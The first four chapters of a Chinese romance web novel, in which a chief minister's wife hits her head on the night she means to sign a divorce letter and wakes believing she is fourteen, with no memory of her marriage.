《和离当晚首辅夫人失忆了》
1. 第 1 章
淳熙五年,四月十九,谷雨。
大雨已经连绵五六日,帝都被浇得湿透。
尽管朝食时辰已过,首辅府里仍浓雾弥漫,一丈外几乎人畜难见,只隐约听见扫地的小丫鬟们悄声议论的声音。
“听说了罢,县主要给大公子纳妾呢。”
“谁叫府上这位大娘子不能生,都嫁进来快三年,肚子半点儿动静也无,咱们大公子年岁也不小,县主自然着急。”
“就是,咱们大公子可是内阁首辅,要不是当初娶她回来,只不定她同父兄一起被流放,就大娘子生得那个狐狸精模样,指不定……”
一抹淡绿色的身影出现在她们身后,呵斥,“都吓嚼什么蛆!看我不撕烂你们的嘴!”
浓雾里顿时噤若寒蝉,只剩下沙沙扫地的声音。
那抹淡绿色的身影冷哼一声,扭身朝西边走去。
直到彻底听不见脚步声,浓雾里有人呸了一声。
“不过是破落户陪嫁来的婢女,也配拿乔咱们!待表小姐被抬为贵妾,我看她还嚣张什么劲儿!”
“……”
轻云怒气冲冲回了澜院,刚入廊庑,一个子稍高些,容长脸的婢女迎上前来,追问:“可见着姑爷了?”
“别提了!”轻云一脸怒容地将方才在花园里听到的那些不堪的话说与她听,末了,恨恨道:“淡烟姐姐,咱们离了这府里也好,小姐那般的人物,何苦受这个气!”
淡烟听得一脸凝重,嘱咐,“待会儿到了小姐跟前不许乱说。”又拿帕子擦干净她脸上的雨水,两人方掀开门帘入内。
甫一入内,一股子馥郁的香气扑鼻而来。
那香味不同于其他香料,仿若有人将春天搬入屋子里。
淡烟不禁心旷神怡,顺着香气来源望去,只见紫檀木缠枝贵妃榻上卧着一临窗观雨的年轻女子。
像是雪堆出来的人儿拥着大红鸳鸯锦被,懒懒地倚靠在鹅羽软垫上,满头乌泱泱的青丝散在肩上,因侧坐着,屋子里又暗沉,瞧不大真切模样,只瞧着洁白的眼角下嵌着一颗淡红色的泪痣,如同坠了一滴胭脂泪,在灯光下娇艳欲滴。
淡烟忙大步走过去,道:“小姐身子不好,受凉了可如何是好?”
“无妨,心里闷得很。他可回来了?”纾妍问道。
声音缱绻温柔而慵懒,听得人耳朵酥麻。
淡烟迟疑,“兴许姑爷忙也是有的,我听书房服侍的小子们说,这两日公子连正院请安都省了。”
话音刚落,自家小姐扭过脸来。
明明那样年轻美丽的一张脸,眼神却黯淡空寂,仿佛岁月在她眼里摧枯拉朽的迅速逝去。
她淡淡一笑,“从前等他倒也罢了,如今和离也需得等他得空,怎他纳妾就有空了呢。”
淡烟听了这话,心如刀绞。
就在半月前,本就瞧不上小姐的云阳县主,也就是小姐的婆婆,嫌弃小姐无所出,要给姑爷纳一贵妾,为裴家绵延子嗣。
纳的正是姑爷心尖上的那一位白月光表妹。
这也就罢了,人还没进门,小姐就撞见他二人在茶楼幽会。
小姐自成婚以来,压抑着自己的本性,待姑爷尽心尽力,凡事亲力亲为,却没想到最后落得这个下场。
小姐心灰意冷,当晚就向姑爷提出和离,姑爷挽留几句竟同意了。
原本昨夜便是签和离书的日子,谁知小姐等到半夜,连个人影都没见着。
淡烟心里越想越伤心,面上却不敢显露半分,柔声道:“时辰还早,不如小姐先睡会儿,兴许睡醒姑爷就回来了。
纾妍也觉得这会儿困劲儿上来,又重新躺回去。
再次醒来时,已日上三竿。
许是睡得好,她心情格外舒畅,就连气色也比先前好,肌肤像是敷了薄薄一层粉,眉眼愈显秾艳。
梳洗罢,又用过晌食,仍不见人归来。
纾妍正犹豫要不要派个人再去一趟前院,轻云一脸怒容地入内:“那个狐狸精来了,说要来拜会小姐。奴婢真是没见过哪家正经娘子,还未过门,就自己来上赶着来见主母!”
“我与她有甚好说,”正在吃葡萄的纾妍眼皮子都没抬,“叫她不必再来,若是有事,去寻她表哥便是。”顿了顿,又吩咐,“你打发完人,去请他回来。就说,若是他今儿再不得空,那我明儿一早亲自拿着和离书去文渊阁见他也成,左右我是个破落户,也不怕丢这个人。”
轻云应了声“是”,气势昂扬地向外走去。
淡烟欲言又止,纾妍截住她的话头,“我知你想说什么,不必再劝。”
“既然小姐晓得奴婢要说的话,”淡烟拿了帕子替她揩指尖的紫红汁液,“那么就该明白,当初老爷将小姐哄到帝都来,便是想给小姐寻个终身的依靠。”
“可是,怎样才算是终身的依靠呢?”纾妍拿着一对澄澈如水的乌曈望着她。
“我活了十八年,最难挨的日子便是来帝都的这几年,小心翼翼,如履薄冰,这种一辈子望到头的日子我实在倦了。”提及自己这几年吃的苦,纾妍眼圈微微泛红。
淡烟哽咽,“可小姐以后要怎么办?”
“阿娘在世时便常说,人活一世,什么功名利禄,到头来不过镜花水月一场空,倒不如痛痛快快地活,才不枉来这世上走一遭。”眉眼温柔的女子低下头,轻嗅指尖残留的果香,“就比如我虽爱这葡萄,可没这葡萄,也不会死。枇杷亭柰,样样都是好东西。实在不行,粗茶淡饭,也能一生。更何况,这几年我也学了不少东西,就连皇后殿下也曾称赞,帝都无人有我制的香好。好姐姐,你若真一心为我,不如现在就该替我打点好嫁妆,筹谋咱们将来的日子。”
话已说到这个份上,淡烟知晓她心意已决,只好去打点嫁妆行囊。
纾妍这一下午躲在屋里制香,一直等到瞑色入屋,华灯初上,终于听到二门处传来女使的声音,“侯爷回来了!”
她闻言,立刻走到妆奁台,取早已写好的和离书。
这时,喊门的声音已入了内院,纾妍下意识望向窗外。
此刻外头明月当空,院子里更深露浓,就连窗外那棵盛开的垂丝海棠花瓣也都裹了薄薄一层霜。
透过层层叠叠的粉色花瓣,一抹青冥色的身影穿过月门,穿过厚重的浓雾,穿过残花铺满的青石小路,穿过海棠花海,穿过回廊,一路畅通无阻地朝着这边行来。
廊庑下摇曳的灯光在他身后拖出一道长长的影子,跟在他身后掌灯的小丫鬟需得小跑着才能跟上他的步伐。<
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眨眼间,身影渐近,来人的相貌逐渐清晰地出现在眼帘里。
那是一个如紫薇花一般的俊美男子,头戴珍珠檐帽,身着青冥色镶墨狐毛领云肩通袖圆领袍,腰系象牙蹀躞玉带,脚踏粉底皂靴。
浓重的雾气湿了他的鬓发,却无损半分他的容颜,愈发映衬得他眉目似画。
郎艳独绝,世无其二,不外乎此。
来人正是纾妍多日不曾踏入后院的夫君,大端帝国的户部尚书,内阁首辅裴珩。
帝都的人皆以为他当初不顾她罪臣之女的身份求天子赐婚,皆因她二人两情相悦,唯有纾妍心里清楚得很,他心里早就心有所属,之所以肯娶她,不过是父亲以救命之恩相逼。
这两年多,两人见面的次数,摆着手指都能数得过来。
起初,为了为绵延子嗣,她还厚着脸皮同他约日子,后来,便是约好日子,他也未必能够准时回来。
日子一久,纾妍便厌倦了。
好在,这种日子终于到头。
眼看着那人就要入屋,心跳莫名有些紧的纾妍攥紧了早已写好的和离书,立刻抬脚上前,谁知脚下一滑,身体不受控地向后仰去。
她本能攀上一旁的妆奁台,却只抓到一把菱花镜,台子的珠宝匣与胭脂梳子以及新制的香乒乓散了一地。
无物支撑的女子前额重重磕在梨花木桌腿上,温热的液体顺着额角流到眼睛里,染红了她半张雪白的面颊。
原来,血是这样的温暖。
纾妍躺在地毯上无法动弹,混合着血腥气的香味不断往鼻尖里钻。
那香名忘忧,听说闻久了会忘记一切烦恼,只可惜,她不得要领,制出来的只有极浓郁的花香,并无忘忧的效用。
纾妍闻着那香气,不知怎的想起自己养的那条金鲤。
她这个人自幼到大最怕闷,有一回鼓起勇气请裴珩寻个有趣的东西回来陪她。
谁知他竟带回一条同她手指长短的金鲤鱼。
这也就罢了,旁人养鱼都是成双成对,他却偏偏只带回来一条。
她精心呵护了半年,好不容易养大些,前日也不知是哪个婢子粗手粗脚,将浴缸不小心碰落,连缸带鱼砸落一地。
彼时她正临窗看账本,回头便见那条被她养得肥硕的金鱼躺在一堆碎片中一动不动,就跟死了似的。
纾妍不明白自己怎会在这节骨眼想到这么一件微不足道的事儿,甚至有想要哭的冲动。
也不知当时小鱼儿伤得重不重,摔得痛不痛……
这时,一抹高大的影子大步跨入屋子。
视线有些模糊的纾妍想要将手里那纸被血染透的《和离书》递给他,却怎么也抬不起胳膊。
她不禁有些气恼。
这些年,他事事都要她等。
用饭要等,就寝要等,生孩子也得等他得空,如今就连和离还要她等。
难道她的时间就那么不值钱吗?
若不是他让她等太久,她就不会因过于激动跌这一脚。
都怪他!
成婚近三载,他竟也只送过她一条不值钱的鱼!
都怪他!
若这世上,真有忘忧就好了……
这是纾妍昏迷前最后的念头。
2. 第 2 章
“淡烟姐姐,小姐都睡了几日,怎还不醒来?”
轻云一边拿帕子替自家小姐擦手,一边哭着问道。
此刻已夜深,华丽温暖的室内弥漫着淡淡的药香,冲淡了屋子里原有的香气。
床上的女子安静地躺着,半张瓷白的精致小脸掩在衾被中,浓黑纤长的眼睫歇落在下眼睑处,留下一片阴翳。若不是额头上缠了一圈雪白的纱布,上头还洇出一抹淡红色的血迹,就似睡着一般。
淡烟把手里的药碗搁到一旁,眼圈微红,“秦院首说这两日就醒来。”
其实秦院首的原话说,若是这两日醒不过来,恐怕就再也醒不过来。
只是,谁也不愿意相信这是真的。
“都是姑爷不好!”轻云抹了一眼眼泪,恨恨道:“若不是他非要纳妾,小姐也不会一气之下要和离!更加不会磕到头!”
“别嚷嚷!”淡烟迅速地扫了一眼树影婆娑的窗外,见有人影闪过,低声安抚她,“咱们小姐一向吉人自有天相,一定会醒过来!姑爷像是过来了,快去洗把脸。”
说话间,果然脚步声渐近。
“他才不会过来!”兀自伤心的轻云浑然没有注意,还在那儿哭泣,“小姐都伤成这样,也不见他守着小姐!指不定这几日都同那寡妇姘头待在一起!若是小姐有个三长两短,我也不活了,化作厉鬼日日守在他们床头,看他们还怎样绵延子嗣!”
话音刚落,就听见淡烟高声道:“姑爷回来了!”
轻云下意识转头,只见姑爷一脸严肃地站在她身后,吓得连哭都忘了。
好在姑爷并未发难,径直走到床边坐下,嗓音低沉,“今日如何?可吃得进药?”
淡烟沉重摇头,“只勉强吃了几口,实在灌不进去。”
裴珩道:“给我。”
淡烟应了声“是”,忙将盛了半碗漆黑药汁的白瓷碗递到他手里。
裴珩抿了一口药,在淡烟与淡云诧异的眼神里,俯下身去,撬开纾妍的唇舌,将苦涩的药汁一点一滴地渡到她口中。
漆黑的药汁顺着两人紧贴的唇溢出,尚且昏迷的纾妍无意识的吞咽声。
明明只是喂药而已,静谧温暖的屋子里竟平白生出几分旖旎来。
姑爷素日里沉默自持,难有笑容,饶是自家小姐清醒时,也不曾与他这般亲昵过。
淡烟与轻云瞧得面红耳赤,低下头盯着脚下两寸厚的错金织花波斯毯。
大约过了半刻钟的功夫,半碗药悉数喂完,裴珩又口对口喂了自己的妻子几口水,方道:“都下去吧。”
轻云原本还有些不放心,被淡烟拖了去。
待门关上,一脸疲惫的男人脱下身上的外袍,在床的外侧躺下。
*
屋外的鸟儿叽叽喳喳叫个不停,吵得人脑仁儿疼。
头痛难忍的纾妍轻唤淡烟,可唤了几句不见人来,缓缓地睁开鸦羽似的眼睫。
一瞬间,浓烈的阳光透过青纱帐,刺得她眼睛有些疼。
昨日还大雪纷飞,今日天气竟这样好。
纾妍微微眯着眼,猫似的伸了个懒腰。
谁知刚伸出胳膊,指尖碰到一温热结实的躯体。
纾妍下意识地扭过脸去,霎时间骇得魂飞魄散。
只见她外侧躺着一身形颀长的男人,也不知二人昨天夜里做了些什么,他身上的雪白丝质寝衣凌乱不堪,露出大半个结实的胸膛。
纾妍呆滞片刻,立刻掀开身上的衾被,偷偷瞧了一眼自己的身子。
只见她身上着了一件胭脂色绣海棠寝衣,领口捂得也不是那么严实,露出一线大红绫缎绣海棠的胸衣。
还好,穿着衣裳。
只是,怎一夜过去,她那儿怎生得这样大了?
而且身上似乎也酸疼得厉害。
难不成,昨夜她吃醉酒后一时乱了性?
不对不对!
她明明记得昨晚是七哥哥亲自送她回的家。
她虽吃了几杯酒,可人却清醒得很。
回家后,淡烟还为她煮了醒酒汤。
临睡前,她还与陪着她睡的淡烟伤感,七哥哥这一走,怕是要明年才能得见。
淡烟还安慰她来着。
怎一觉醒来,身旁换成了男人!
这男人又是从哪儿冒出来的?
还有,这屋里好浓郁的药香。
纾妍脑子里乱哄哄一片,头也疼得厉害,决定趁人没醒,赶紧跑!
她手忙脚乱地整理好身上的寝衣,蹑手蹑脚的向外爬去。
经过那男人结实温热的身体时,纾妍忍不住瞟了一眼,对上一截冷硬雪白的下颌,以及凸起的喉结。
她的心简直要从嗓子眼跳出来,慌忙收回视线,继续爬。
眼看着就要从男人身上爬过去,耳边传来一道低沉沙哑的嗓音。
“你醒了。”
听起来好累好累的样子。
纾妍僵在当场,正不知如何是好,男人已经坐起来。
他原本就凌乱不堪的寝衣敞开,露出整个结实的胸膛,就连腰腹的肌肉都显露无疑。
她的眼睛一时不知该往哪里放才好,且她的嗅觉一向比常人灵敏,对方身上的药香与薄荷香,以及混合着男子身上独有的气息不断往她鼻尖里钻,熏得她面红耳赤。
蓦然,一只冰凉的大手贴在她滚烫的额头上。
一道低沉沙哑的嗓音在她耳边响起,“可还有哪里不适?你刚醒,莫——”
话音未落,纾妍已偏过脸躲开他的手。
那只洁白如玉的手僵了一下,随即收回去,垂在雪白的衣摆上。
纾妍注意到对方,青筋凸起的手腕处戴着一串紫红色的小叶檀木手串。
她的眸光落在他虎口处的一圈泛白的旧疤上,愣了一下,忍不住抬起头来,对上一张俊美无双的年轻面孔。
雪的肤,乌的眉,血似的唇,过分浓密纤长的睫毛,深黑冰凉的眼眸。
也不知是否昨夜劳累太过的缘故,他眼下一圈淡淡的乌青……
纾妍想起来他是谁了!
他就是大端帝国那位不到而立之年就当上首辅,裴家九郎裴珩。
此人自幼被选为东宫伴读,十七岁便三元及第,品貌冠绝帝都,深受先帝的宠爱,甚至因游街那日,头上簪了一朵紫薇花,还被先帝戏称为“紫薇郎”。
后来,今上元熙帝登基。他一路扶摇直上,二十出头的年纪便官拜户
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部尚书以及文渊阁大学士。
去年更是擢升为内阁首辅,权倾朝野。
可纾妍却极为讨厌他。
记得那是五年前,裴珩擢升为户部尚书,父兄恰巧回京述职,自然免不了要携礼拜会。
彼时纾妍不过九岁,正是贪玩的年纪,便也央着同去。父兄架不住她撒泼,就将她扮作男儿带了去。
席间,父亲吃多了几杯酒,便压着她向裴珩讨教学问。
她成日里疯玩,哪里有什么学问,可对方偏当了真,竟当众考较起她的诗词文章来。
她憋红了脸,才憋出一首狗屁不通的七言诗。具体内容她忘了,只记得席间衣冠胜雪的男人一本正经点评一番,末了,道:“小公子七窍通了六窍,孺子可教也。”
她原本还洋洋得意,也不知是哪家少年嗤笑一声,“七窍通了六窍,岂不是一窍不通?”
在场所有大人都笑弯了腰,数她爹笑得最大声。
自知脸丢大发的纾妍恨不得找个地缝钻进去。
那天宴席散后,父兄吃多吃了几杯酒,临时被安置在裴府客房小憩。
她觉得无聊,便四处在园子里闲逛捕蝉,谁知竟在一处水榭处发现谢珩。
炎炎夏日里,容颜俊美的年轻男子换了一身粉霞色杂宝云纹道袍,静静地坐在石桌前,修长洁白的指骨握着书卷,神情却呆滞望向波光粼粼的湖面,一双微微上扬的眼眸波光潋滟。
像是醉了,又像是没醉。
纾妍自幼随父兄在北疆长大,还是头一回见到这般如花儿一般的男子,一时看呆了眼,不由自主地走到他背后,正要吓他一吓,谁知刚摸到他腰间系着的羊脂玉鱼纹玉佩,被他一把捉住她的手腕,轻轻一提,将她摁在腿上。
他恍然大悟一般:“原来竟是个盗玉的小贼。”
前头才讥讽她一窍不通,现下又骂她是小贼。
明明生得如紫薇花一般的人物,心眼却坏得很。
一向睚眦必报的纾妍趁他不备,狠狠一口咬在他虎口上。
他闷哼一声,“松口。”
纾妍不肯松,反而咬得愈发紧,很快地,一股子铁锈味在齿间弥漫开来。
他轻叹了一口气,“你是沈家的小公子?你若喜欢,我送你便是。”
谁稀罕他的破玉!
纾妍松了牙口,将那块玉佩连同手里的蝉狠狠掷到他身上,头也不回地跑了。
当天回去后,她还被罚抄一百篇诗词。
这也就罢了,她哥哥们如今都时不时拿那句“七窍通了六窍”来取笑她。
每提一回,纾妍心里就记恨裴珩一回。
没想到如今她竟与他躺在同一张床上!
逃跑还被当场逮个正着……
他还真是她的命中克星,时隔五年,竟以这样荒唐至极的方式出现在她面前。
愈发混乱的纾妍脸颊一阵阵滚烫,正不知如何自处,余光瞥见他要起身,生怕他要向自己的父兄告状,一把捉住他雪白的衣袖,巴巴央求,“好叔叔,昨夜之事千万莫要同我阿爹说!”
话音刚落,眉目若雪的男人神色凝重。
他眸光沉沉地望着她,嗓音微微有些沙哑,“你唤我什么?”
3. 第 3 章
按照辈分与年纪,纾妍唤裴珩一声叔叔也不吃亏。
她心里虽记恨他,但此刻犯到他手里,少不得要附小做低拉拉关系。
她以为对方有意为难自己,又道:“比亲叔父还亲!”
也不知这句话有何不妥,屋子里的空气变得有些诡异。
纾妍见他不语,想要趁机偷偷离开,谁知脚刚踩到地板上,顿时天旋地转,站立不稳。
他一把扶住她的肩膀,道:“你才刚醒,莫要下床,我即刻命人请太医!”
“莫要请太医!”纾妍眸光闪躲,“不如,叔叔先离开,昨夜之事就当没发生过,好不好?”
她自以为已经非常通情达理,谁知对方听了她的话却抿唇不言,看她的眼神也愈发深沉。
他这是什么意思?
难不成,他不愿?
还是说,他对她还有别的想法?
纾妍不由地有些羞恼,正欲问他究竟如何才肯离开,屋子里忽然传来一道有些激动的声音。
“小姐终于醒了!”
纾妍顺着声音来源望去,只见水晶珠帘处站着一紫一绿两个婢女。
正自幼服侍她的贴身侍女——淡烟与轻云。
一夜过去,两人似乎高了许多,像是大了两三岁。
这究竟是什么一回事儿?
纾妍正发愣,忽然听到裴珩问:“你姓甚名谁可还记得?”
她咬了咬唇,闷声道:“姓沈名六。”
她在家中排行第六,父兄生气时便唤她“沈小六”。
她不愿意告诉他自己的闺名。
“今日是何年何月?”
“庆历十年十二月初三。”
“你多大了?”
“十四。”
他又伸出中指在她眼前晃了晃,“这是几?”
这怕不是拿她当傻子?
纾妍觉得他故意羞辱自己,气不打一处来,胡诌,“五。”
裴珩冷冷吩咐,“即刻请秦院首过来!”
“一一一!”纾妍一把捉住他的手指,拿着一对乌黑澄澈的杏眼巴巴望着他,“我方才哄叔叔玩呢。我,我好着呢,不必请太医。”
他低声安抚,“你别怕。太医就住在隔壁,很快便到。”
事关女子名节,能不怕吗?
要是被她爹爹知道,怕要剥了她的皮!
再者,这种事儿吃亏的也不是他,为何非要请太医!
纾妍见他这样不近人情,情急之下口不择言,“不过露水情缘一场,我都不介意,大人为何非要闹得人尽皆知!难不成还要我负责不成!”
话音刚落,屋子里的气氛顿时变得微妙起来。
淡烟与轻云对视一眼,满脸惶恐:小姐,这是怎么了?
并未发觉不妥的纾妍见裴珩眸光沉沉盯着自己,又有些怂,低下头小声嘟哝,“我已有心上人,而且,我也不喜欢大人年纪这般大的……”
这话,虽不大,但屋子里的人全都听见。
淡烟与轻云的脸色倏地白了。
小姐怎能将自己的秘密说与姑爷听!
她二人生怕姑爷发怒,谁知他神色如常地吩咐,“好生侍奉你们小姐。若是再出岔子,就不必留在府里!”虽语气平和,却威严极重。
淡烟与轻云忙低头应了声“是”。
裴珩前脚出门,轻云后脚就飞扑到纾妍怀里,嚎嚎大哭,“小姐总算醒了!”
“我不过是醉酒,”纾妍拍拍她的背,不解,“怎伤心成这般?还有,你同淡烟怎生得这般大了?”
“什么醉酒,”轻云抽噎,“小姐前日磕到头,已经躺了两日!”
“我怎一点儿印象也无,”纾妍有些别扭地问:“那裴九郎,怎会出现在我榻上?”
“裴九郎?”淡烟一时未反应过来,“小姐是说姑爷?”
“姑爷?”纾妍的眼睛蓦地睁圆,“谁的姑爷?”
“小姐您可别吓我!”轻云声音颤抖,“三年前您就同姑爷成婚,您不记得了?”
“不可能!”纾妍一口否定,“绝对不可能!”
她记得很清楚,因七哥哥这两日要回帝都,昨儿傍晚她偷偷溜出府设宴为他践行。
就在城西那间胡人开的小酒馆里。
许是离别在即,她颇为伤感,席上不小心多吃了几杯酒,整个人晕乎乎的。
后来,还是七哥哥亲自送她回的府。
外头那样大的雪,七哥哥怕她冻着,将自己身上那件红狐裘强行披到她身上,自己只着了一身绣云纹的交领袍。
许是这一去要隔好些日子才能相见,七哥哥舍不得离开,与她围着将军府绕了一圈又一圈,话也较素日里多。
她甚至还记得,跟在身后的淡烟与轻云着小话,讨论城中哪家胭脂制的好。
火红的炭,温热的酒,舞姬旋转的衣裙,纷飞的雪,温暖的狐裘,少年湛然若神的黑亮眼眸,以及他身上凌冽的雪香……
昨夜之事至今历历在目,怎可能一觉醒来就不见了四年呢。
定是阿爹知晓她偷跑出去与人幽会吃酒,所以同人合起伙来吓唬她。
她爹那个人,什么荒唐之事都干得出来。
纾妍气呼呼,“回玩笑开得有些大,我心里不高兴,以后都不同他讲话!”
轻云着急,“小姐,奴婢没哄您!”
轻云打小就有些缺心眼,平日里说谎都不会。
纾妍见她说得这样逼真,狐疑地望向淡烟。
淡烟也点点头。
可纾妍仍是不相信。
一定是在做梦!
这梦怪可怕的!
纾妍赶紧重新躺回暖和的衾被里,打算再睡一觉,指不定梦醒来就会恢复如初。
两人以为她累了,也不扰她,守在床头,生怕她再有个三长两短。
纾妍却怎么都睡不着,左侧额角隐隐作痛,就连脑子里也乱哄哄,好似将一些很重要,却又不那么重要的事情给忘了。
大约过了一刻钟的功夫,外头传来脚步声。
纾妍缓缓睁开眼,只见裴珩再次出现在屋里。
容颜似玉的男人头戴珍珠檐帽,着了一身檀色花纹交领直裰,腰系玉带,风姿真如覆雪之昆仑,肃肃烨烨,清冷艳绝。
比起五年前的风雅入骨,眉宇间倒是愈发地成熟稳重。
若真如她们所说,她如今十八,那么他二十有八。
可他瞧着不过二四十五,难不成吃了永葆青春的灵丹妙药不成?
还说不是哄她!
帝都来的郎君,心眼多得跟马蜂窝一样,讨厌得很!
她赶紧闭上眼睛,默念“急急如欲令,破!”
一睁开眼,还在!
她又阖上眼,这回还未得及念口诀,对方已经走到她床头。
太丢人了……
纾妍一把把衾被拉至头顶。
裴珩居高临下地望着将自己藏在鸳鸯被中的女子,沉默片刻,吩咐,“替娘子更衣。”
淡烟俯身在纾妍耳边,柔声道:“小姐,秦院首就在外头候着,咱们见一见,好不好?”
纾妍闷声道:“我真没病!”
淡烟道:“奴婢知晓您没病,咱们先瞧瞧太医,好不好?”
过了好一会儿,衾被里传来有些娇气的声音,“叫他出去。”
这个“他”,自然指裴珩。
淡烟颇有些为难。
裴珩则一言不发地出了屋子。
直到脚步声消失在里间,纾妍这才拉下衾被,露出一张被闷红的脸颊,“是不是阿爹特地请他来吓唬我?”
淡烟一时半会儿也不知如何解释这一切,只好道:“小姐的额头受了伤,不如咱们先瞧了太医,好不好?”
纾妍确实感到前额阵阵疼,应了声“好”,由着她服侍自己更衣。
不多时的功夫,轻云领着一身着补服,背着药箱的半百老翁入内,道:“劳烦大娘子伸出手来。”
纾妍听着这声“大娘子”别扭得很,纠正,“我在家中排行第六。”
秦院首愣了一下,随即想起方才在外
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头裴阁老所诉病情,心中隐约有了猜测,和蔼可亲,“那劳烦沈六姑娘伸出右手。”
纾妍这才不情不愿地把手放在脉枕上。
医者讲究望闻问切,秦院首自然也不例外。
他仔细诊问过后,阖目凝神片刻,方道:“我观大娘子神清目明,已无大碍,将养几日便好。”
纾妍松了一口气,“看吧,我就知道我没病,定是外头那只老狐狸串通我爹骗我!”
正在收脉枕的秦院首手一抖,脉枕差点掉到递上去。
他不由地拿眼角偷偷觑了一眼绣床上,像是雪堆出来的病美人儿。
她额头上缠着一圈纱布,怯弱地歪在大迎枕上,一对杏眼乌黑澄澈,眼角下生了一颗淡淡的红痣,不经意地流露出几分媚和艳来。
这位首辅夫人,原是前大将军沈约之女,自幼在边疆长大。
四年前沈家遭难,沈氏举家被流放,唯有这位六姑娘非但平安无事,还在一年后嫁入高门。
听说,裴阁老求先帝赐婚时,曾拿出一纸婚书,说沈六姑娘还在襁褓时就与之定下亲事,沈氏女早已是裴家妇。
此事当时传得沸沸扬扬,一时之间,被喻为有情人终成眷属的佳话。
只是,这沈六姑娘婚后一向深居简出,极少有人见过。
那天深夜,裴家家扑拿着裴阁老的手谕急吼吼地赶来,将他从睡梦中叫醒,说是家中大娘子不小心撞到头,请他去瞧瞧。
他到时,昏迷不醒的女子前额裂开一个两寸长的口子,正往外汩汩渗血,形容十分可怖。
这两日光忙着给她治伤,倒也没太在意对方的模样,只隐约记得轮廓极美。
如今瞧着,颇有几分祸国妖姬的味道。
哎,大将军那样精忠报国的臣子,却落得那样的下场。
就连如今这六姑娘也磕出了毛病……
秦院首在心里叹了一口气,收拾好脉枕,向纾妍告辞。
轻云忙将人送出去。
他人一走,纾妍跟只小猫似的依偎在淡烟怀里,有气无力道:“你去同我爹说,我以后不淘气就是,何苦寻那么多人哄我。”
淡烟闻言,眼圈蓦地红了。
她忙扭过脸去,道:“大将军就是有些恼小姐吃醉酒,说这两日让小姐好好待在屋里反省。小姐身子不好,不如奴婢服侍再睡会儿。”
果然是在哄她!
她就知道!
纾妍应了声“好”,伸手抚摸着她较昨日白嫩瘦长些的脸颊,啧啧称奇,“这妆画得这样真,可是城东孙娘子调的脂粉?”
“就是她,小姐也知晓,孙娘子是城里最会调脂粉的,”淡烟一把握住她的手,笑,“改日奴婢也给小姐画一画。”
纾妍“嗯”了一声,任由她服侍自己躺回被窝,舒服地阖上眼睫,呢喃,“把那件衣裳拿来,不然我会睡不着。还有,姐姐下回不许伙同阿爹唬我,方才可把我吓坏了。”
淡烟应了声“好”,将一件洗得发白,上头绣了海棠花的藕荷色襦袄放到她怀里。
她深吸一口气,说了句“好香”,紧紧地抱在怀里。
*
屋外。
秦院首一出房门,就瞧见海棠树下长身鹤立的男人。
许是院子里风大,密密匝匝的花瓣飞落,有不少落在他肩头,好似海棠花成了精一般。
秦院首不得不感叹,这样一位帝都出了名不近人情的权臣竟生得这样一副好相貌,旁的入朝为官的男子不出几年不是熬出皱纹,便是白了青丝,而他浸淫朝堂十几年,容貌似乎不曾变过。
倒是与屋里的那位极相配。
想来这样一个小娇妻养在府里头,怕是再硬的心肠也化作绕指柔。
正愣神,对方已经转过脸来,秦院首忙向他拱手见礼,被他拦下。
他瞥了一眼屋子,“如何?”
秦院首道:“如阁老猜测的这般,娘子颅内淤血未散,恐怕是得了离魂症的缘故。”
话音刚落,刚出屋里走出来的淡烟一脸惊诧,“离魂症?”
4. 第 4 章
屋里。
纾妍躺在床上怎么都睡不着,想着也许她爹此刻就躲在院子看她笑话,又从床上起身。
途径穿衣镜时,她不经意地扫了一眼,一时怔住。
镜子里腰细腿长,与她生得极其相似的大姐姐是谁?
她不由地伸手抚摸着头上缠着的一圈纱布,对方也同她做一样的动作。
她迟疑着拆开纱布,镜中的大姐姐很快露出额角一寸长的伤口。
一瞬间,像是有什么自脑海里闪过。
密密匝匝的海棠花,垂死的金鱼,面容模糊的男人……
一瞬间,纾妍的心好似针扎,一瞬间泪流如下。
*
院外。
“所谓离魂症,是指有神气不宁,每卧则魂魄飞扬,觉身在床而神魂离体,惊悸多魇,通夕不寐。”
秦院首语气颇为高深,“《辨证录·离魂门》:“人有心肾两伤,一旦觉自己之身分而为两,他人未见而己独见之,人以为离魂之症也;《世说新语》亦有记载:殷仲堪父……”【1】
裴珩待他慢慢掉完书袋,方问:“可有得医?”
秦院首又捋着胡须沉思片刻,道:“老夫可先开几副活血化瘀的药方来,待娘子额头的伤彻底痊愈,再另行开方。至于能否痊愈,得看天命。”
轻云一听“天命”二字,吓得眼泪都出来了,“若是治不好,岂不是要没命?”
“那到不至于!”秦院首觑了一眼面色极为难堪的裴阁老,忙又道:“只是记忆错乱而已,倒不致命,所谓——”
话音未落,屋子里传来一声女子的尖叫。
小姐出事了!
淡烟与淡烟还未反应过来,裴珩已疾步走到卧房前,一把推开房门。
一进去,只见他的小妻子立在一面一人高的穿衣镜前,手里拿着原本该缠在额头上的雪白纱布。
此刻已近黄昏,屋子里有些暗沉。
她整个人似被阴影吞噬,唯有一对蓄满泪水的杏眼亮得吓人。
晶莹的泪水如同断线的珍珠,顺着她雪白的下巴尖,一串一串地砸落在厚厚的波斯毯子上。
“我怎,变得这样大?”手足无措的女子捂着自己的脸,哽咽,“我,我眼泪怎止不住?我,我好像不是我了?”说着说着,捂着脸失声恸哭出声。
裴珩大步走过去,一把将她打横抱起来,冷声道:“秦院首!”
秦院首也急忙上前来,自药箱中取出银针施针。
纾妍把脸埋进裴珩胸前,整个人微微颤粟。
她其实不知自己究竟在伤心什么,就像是她被人辜负一般。
可她的心上人,离别之时还同她约好,会尽快去她家里提亲。
这突如其来,毫无根据的巨大的悲伤并不属于十四岁的纾妍。
即便醒来后无端老了四岁,于她而言,也不过是乏味人生的另一种惊奇的体验。
十四岁的沈纾妍拥有这世上最好的东西。
金钱,地位,很多的爱!
不该!
可这该死的眼泪半点不受她的控制,肆无忌惮地往外流淌,像是要将她溺死其中。
紧紧抱着她的男人轻轻拍着她的背,低声在她耳边说了一句什么。
那悲伤实在太过痛彻心扉,以至于纾妍没能听见。
大约过了一刻钟的功夫,安静下来的纾妍阖上眼睫,湿漉漉的睫毛一缕一缕地黏在下眼睑处,就连眼角下的那颗淡红色的泪痣此刻红得滴血,如同坠了一颗胭脂泪。
秦院首不由地松了一口气,接刚才未完的话,“所谓记忆错乱,即是——”
裴珩这回没耐心听完他的话,“院首若要什么药,只管说来,请尽力医好内子,我必有重谢!”
秦院首:“……阁老客气,老夫必定竭尽全力!”顿了顿,简明扼要,“大娘子的失魂症虽有淤血未除的缘故,但人在受到剧烈重创后,会下意识地忘却让自己觉得伤心痛苦之事。为避免病情加重,阁老这些日子,最好顺着娘子些。”
裴珩应下,让轻云跟着他一同去拿方取药。
秦院首前脚刚走,外头有一脸声的婢女敲门:“公子,县主请您过去一趟。”
